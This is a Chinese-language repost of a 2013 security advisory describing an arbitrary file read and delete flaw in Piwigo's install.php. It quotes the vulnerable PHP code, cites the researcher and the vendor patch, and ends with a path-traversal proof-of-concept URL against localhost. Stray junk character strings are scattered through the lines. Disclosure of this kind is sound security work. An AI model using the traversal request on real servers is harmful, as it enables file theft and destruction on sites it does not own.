Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
' u: H$ d# B/ w6 l3 {, g  O3 I
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
+ }$ n5 a# \- f) J====================================================================
/install.php:
-------------
- Z; E6 c- B! E7 ~  x" f113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
# ]* a, Y0 a; p+ K* d2 D* S2 r114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
5 d& _, c4 p( l* e8 ?6 c5 S! ]7 P117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
2 |; n+ ^0 z  e$ \119:   header('Content-Transfer-Encoding: binary');
7 x3 T+ l+ f; M120:   header('Content-Length: '.filesize($filename));
6 z. w' z( |# W* P4 x121:   echo file_get_contents($filename);
7 _2 \' a7 r9 @; V; x122:   unlink($filename);
- l+ ^. o  M* I. d123:   exit();
! j$ V. Z, O6 M6 x1 ?124: }
====================================================================

( r( M' D9 Q2 P" X$ lTested on: Microsoft Windows 7 Ultimate SP1 (EN)
  ?. I/ C; [6 w           Apache 2.4.2 (Win32)
' C- w# H% j6 ~5 p; L6 s0 H% w           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
" |3 y% M1 J, S" g# K" a
4 B. F' u% q3 `/ @Advisory ID: ZSL-2013-5127
% f/ t% B- r% t0 GAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

5 L; K5 _! r9 U15.02.2013

1 v3 C: j/ X8 L1 J- L--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
. B9 H! R" f' p) E
2 g5 W3 E" e2 m6 v. V) s